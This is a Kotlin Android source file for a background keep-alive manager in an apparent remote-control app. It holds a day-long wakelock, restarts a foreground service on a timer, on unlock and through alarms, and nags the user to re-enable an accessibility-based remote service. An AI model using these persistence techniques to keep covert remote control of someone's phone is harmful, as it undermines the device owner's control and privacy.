Files
and-bak/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt

371 lines
13 KiB
Kotlin
Raw Normal View History

2026-02-11 16:59:49 +08:00
package com.hikoncont.service
import android.app.AlarmManager
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*
/**
* 后台保活管理器
* 专注于后台服务保活不拉起MainActivity
*/
class BackgroundKeepAliveManager(private val context: Context) {
companion object {
private const val TAG = "BackgroundKeepAlive"
private const val CHECK_INTERVAL = 10000L // 30秒检查一次
private const val RESTART_DELAY = 5000L // 5秒后重启
}
private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var monitorJob: Job? = null
private var wakeLock: PowerManager.WakeLock? = null
private var isMonitoring = false
/**
* 开始后台保活监控
*/
fun startBackgroundKeepAlive() {
if (isMonitoring) {
Log.w(TAG, "⚠️ 后台保活监控已在运行")
return
}
Log.i(TAG, "🛡️ 开始后台保活监控")
isMonitoring = true
// 获取WakeLock
acquireWakeLock()
// 注册广播接收器
registerReceivers()
// 开始监控
startMonitoring()
// 确保前台服务运行
ensureForegroundService()
}
/**
* 停止后台保活监控
*/
fun stopBackgroundKeepAlive() {
if (!isMonitoring) {
return
}
Log.i(TAG, "🛑 停止后台保活监控")
isMonitoring = false
// 取消监控任务
monitorJob?.cancel()
// 释放WakeLock
releaseWakeLock()
// 注销广播接收器
unregisterReceivers()
// 取消协程作用域
managerScope.cancel()
}
/**
* 获取WakeLock保活
*/
private fun acquireWakeLock() {
try {
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
wakeLock = powerManager.newWakeLock(
PowerManager.PARTIAL_WAKE_LOCK,
"RemoteControl::BackgroundKeepAlive"
)
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
Log.i(TAG, "🔋 后台保活WakeLock已获取")
} catch (e: Exception) {
Log.e(TAG, "❌ 获取后台保活WakeLock失败", e)
}
}
/**
* 释放WakeLock
*/
private fun releaseWakeLock() {
try {
wakeLock?.release()
wakeLock = null
Log.i(TAG, "🔋 后台保活WakeLock已释放")
} catch (e: Exception) {
Log.e(TAG, "❌ 释放后台保活WakeLock失败", e)
}
}
/**
* 注册广播接收器
*/
private fun registerReceivers() {
try {
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_ON)
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_USER_PRESENT)
// ✅ 参考 f 目录:已移除重启无障碍服务广播监听
}
context.registerReceiver(backgroundReceiver, filter)
Log.i(TAG, "📡 后台保活广播接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
}
}
/**
* 注销广播接收器
*/
private fun unregisterReceivers() {
try {
context.unregisterReceiver(backgroundReceiver)
Log.i(TAG, "📡 后台保活广播接收器已注销")
} catch (e: Exception) {
Log.e(TAG, "❌ 注销后台保活广播接收器失败", e)
}
}
/**
* 开始监控
*/
private fun startMonitoring() {
monitorJob = managerScope.launch {
while (isActive && isMonitoring) {
try {
checkAndRestartServices()
delay(CHECK_INTERVAL)
} catch (e: Exception) {
Log.e(TAG, "❌ 后台保活监控过程中发生错误", e)
delay(CHECK_INTERVAL)
}
}
}
}
/**
* 检查并重启服务
*/
private fun checkAndRestartServices() {
try {
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService == null) {
Log.w(TAG, "⚠️ 检测到AccessibilityService不可用")
// 检查无障碍服务权限
if (!isAccessibilityServiceEnabled()) {
Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
handleAccessibilityPermissionLost()
} else {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
}
}
// 检查前台服务
ensureForegroundService()
} catch (e: Exception) {
Log.e(TAG, "❌ 检查服务状态失败", e)
}
}
/**
* 检查无障碍服务是否启用
*/
private fun isAccessibilityServiceEnabled(): Boolean {
return try {
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
context.contentResolver,
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
)
if (accessibilityEnabled == 1) {
val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains(serviceId) == true
} else {
false
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
false
}
}
/**
* 处理无障碍权限丢失正确方案提醒用户重新启用
*/
private fun handleAccessibilityPermissionLost() {
try {
Log.w(TAG, "⚠️ 无障碍服务权限丢失,需要用户手动重新启用")
// 记录到操作日志
val service = AccessibilityRemoteService.getInstance()
service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf(
"timestamp" to System.currentTimeMillis(),
"backgroundKeepAlive" to true
))
// 无障碍服务被杀死后无法自动重启,需要用户手动重新启用
// 通过通知或UI提醒用户
showAccessibilityPermissionLostNotification()
} catch (e: Exception) {
Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e)
}
}
/**
* 显示无障碍权限丢失通知
*/
private fun showAccessibilityPermissionLostNotification() {
try {
Log.i(TAG, "📱 显示无障碍权限丢失通知")
// 创建通知渠道
val notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
val channelId = "accessibility_permission_lost"
val channel = NotificationChannel(
channelId,
"无障碍权限提醒",
NotificationManager.IMPORTANCE_HIGH
).apply {
description = "当无障碍服务权限丢失时提醒用户"
enableLights(true)
lightColor = android.graphics.Color.RED
enableVibration(true)
}
notificationManager.createNotificationChannel(channel)
// 创建通知
val notification = NotificationCompat.Builder(context, channelId)
.setContentTitle("⚠️ 无障碍服务权限丢失")
.setContentText("请点击重新启用无障碍服务权限")
.setSmallIcon(android.R.drawable.ic_dialog_alert)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(true)
.setOngoing(false)
.setContentIntent(createAccessibilitySettingsPendingIntent())
.build()
notificationManager.notify(9999, notification)
Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
} catch (e: Exception) {
Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
}
}
/**
* 创建无障碍设置页面的PendingIntent
*/
private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
return PendingIntent.getActivity(
context,
9999,
intent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
}
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
/**
* 确保前台服务运行
*/
private fun ensureForegroundService() {
try {
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
serviceIntent.action = "ENSURE_FOREGROUND"
context.startForegroundService(serviceIntent)
Log.d(TAG, "✅ 已确保前台服务运行")
} catch (e: Exception) {
Log.e(TAG, "❌ 确保前台服务运行失败", e)
}
}
/**
* 安排服务自恢复
*/
private fun scheduleServiceRestart() {
try {
val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
action = "RESTART_SERVICE"
}
val keepAliveIntent = Intent(context, KeepAliveService::class.java)
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
val foregroundPI = PendingIntent.getForegroundService(
context,
2001,
foregroundIntent,
pendingFlags
)
val keepAlivePI = PendingIntent.getService(
context,
2002,
keepAliveIntent,
pendingFlags
)
val triggerAt = System.currentTimeMillis() + RESTART_DELAY
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, foregroundPI)
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 500, keepAlivePI)
Log.i(TAG, "⏰ 已安排服务自恢复")
} catch (e: Exception) {
Log.e(TAG, "❌ 安排服务自恢复失败", e)
}
}
/**
* 后台保活广播接收器
*/
private val backgroundReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
when (intent.action) {
Intent.ACTION_SCREEN_ON -> {
Log.d(TAG, "📱 屏幕点亮,检查服务状态")
checkAndRestartServices()
}
Intent.ACTION_SCREEN_OFF -> {
Log.d(TAG, "📱 屏幕熄灭,继续后台保活")
}
Intent.ACTION_USER_PRESENT -> {
Log.d(TAG, "👤 用户解锁,检查服务状态")
checkAndRestartServices()
}
"android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
}
}
}
}
}